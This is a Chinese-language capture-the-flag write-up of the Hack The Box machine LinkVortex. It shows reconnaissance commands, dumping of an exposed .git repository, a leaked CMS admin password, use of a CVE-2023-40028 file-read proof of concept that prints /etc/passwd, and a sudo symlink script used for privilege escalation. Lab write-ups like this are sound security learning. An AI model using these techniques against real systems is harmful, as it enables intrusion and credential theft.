前言 今天来玩一下靶机,记录一下
靶机地址:https://app.hackthebox.com/machines/LinkVortex
渗透过程
开局给了一个IP地址
1 └─$ sudo nmap 10.10.11.47 --min-rate 10000 -sS -sV -O -p-
扫描 使用Nmap用半开放式扫描进行端口探测,并探测系统版本
最终得到了以上结果,可以见到开放了80和22端口,说明是有http服务存在的,尝试直接访问网站,这边直接跳转到了一个网址http://linkvortex.htb/,但是打不开,尝试把ip地址加入到hosts里面
子域名爆破 现在在进行访问就是正确的内容了,大概翻看了一下,没有得到什么有价值的信息
根据网页最右下角的版权信息(Powered by Ghost)可以知道这用了一个叫做Ghost的CMS搭建,既然他给了域名那肯定不是白给的,尝试对子域名进行爆破
1 2 3 4 ┌──(kali㉿redpomelo)-[~] │ └─$ ffuf -c -u http://linkvortex.htb/ -H "HOST:FUZZ.│ linkvortex.htb" -w ~/tools/Subdomain_List/subdomains│ .txt -fc 301
成功找到了子域名.dev,同时附上我所使用的子域名字典:点击访问
目录爆破 找到子域的同时,修改hosts文件把找到的子域丢进去,然后对子域名进行一波目录爆破看看能不能找到什么有价值的信息
1 2 ┌──(kali㉿redpomelo)-[~] └─$ sudo gobuster dir -u http://dev.linkvortex.htb/ -w ~/tools/scan-dictmaster/dir.txt
找到两个,这个git文件就很有意思
查阅资料,知道了有个项目叫GitHack,它从.git 文件夹重建源代码,同时保持目录结构不变。
项目链接:https://github.com/lijiejie/GitHack
1 python3 GitHack.py http://dev.linkvortex.htb/.git/
使用如上命令把他的整个项目源代码恢复下来
里面全是文件夹,
1 /home/kali/tools/GitHack/dev.linkvortex.htb/ghost/core/test/regression/api/admin
只有这个目录有个js文件,查看后发现有很多password关键字
网上搜了下这个CMS的后台地址
随便找了几个账密试了一下,但是试了几下都没试出来,红温了,写个脚本提取里面的账密用burp全部跑了一遍发现都没有进去,这时候开始观察账户名是否是错的,发现那个文件里的都是@example.com后缀,遂尝试admin@linkvortex.htb
和第一个密码进行登录,然后就进入后台了
进入后台
进入后台溜达了一下发现没有什么东西,之前找到的git文件可以看得见这个CMS的版本号是5.58,遂上网查一下公开漏洞
https://security.snyk.io/package/npm/ghost/5.58.0
在以上站点可以看得到5.58这个版本存在的公开漏洞,大多数都是些xss什么的,没啥利用价值,只有一个任意文件读取值得一看
点进去知悉此漏洞编号是CVE-2023-40028 (opens in a new tab) ,在google查找CVE-2023-40028 Github找到了POC 下载下来
修改POC脚本中的参数为我们的目标
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 [root@redpomelo] /home/kali/temp ❯ ./CVE-2023-40028.sh -u [email protected] -p OctopiFociPilfer45 WELCOME TO THE CVE-2023-40028 SHELL file> /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync :x:4:65534:sync :/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin node:x:1000:1000::/home/node:/bin/bash
成功读取到了/etc/passwd,在之前我们用GitHack弄出来的文件中还有一个Dockerfile
这里的名字长得就像是配置文件,查看后得到用户名和密码
尝试ssh登录
卡了一个多小时没连上去,心态炸了
用HTB的盒子连上去了,成功进入系统,
成功拿到flag~
提权 速度得快点了,免费的盒子只有几分钟时间,快到期了
1 2 3 4 5 6 7 8 bob@linkvortex:~$ sudo -l Matching Defaults entries for bob on linkvortex: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT User bob may run the following commands on linkvortex: (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
sudo -l检查当前用户的权限,发现可以访问/opt/ghost/clean_symlink.sh *.png
看一下这是个啥东西
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh QUAR_DIR="/var/quarantined" if [ -z $CHECK_CONTENT ];then CHECK_CONTENT=false fi LINK=$1 if ! [[ "$LINK " =~ \.png$ ]]; then /usr/bin/echo "! First argument must be a png file !" exit 2 fi if /usr/bin/sudo /usr/bin/test -L $LINK ;then LINK_NAME=$(/usr/bin/basename $LINK ) LINK_TARGET=$(/usr/bin/readlink $LINK ) if /usr/bin/echo "$LINK_TARGET " | /usr/bin/grep -Eq '(etc|root)' ;then /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !" /usr/bin/unlink $LINK else /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine" /usr/bin/mv $LINK $QUAR_DIR / if $CHECK_CONTENT ;then /usr/bin/echo "Content:" /usr/bin/cat $QUAR_DIR /$LINK_NAME 2>/dev/null fi fi fi
喂给AI来解答
这样就拿到了FLag
至此就拿下全部Flag咯
总结 前期都是简简单单的信息搜集,提权部分不像传统信息搜集,这个靶机还是偏入门,没有涉及什么很超纲的知识点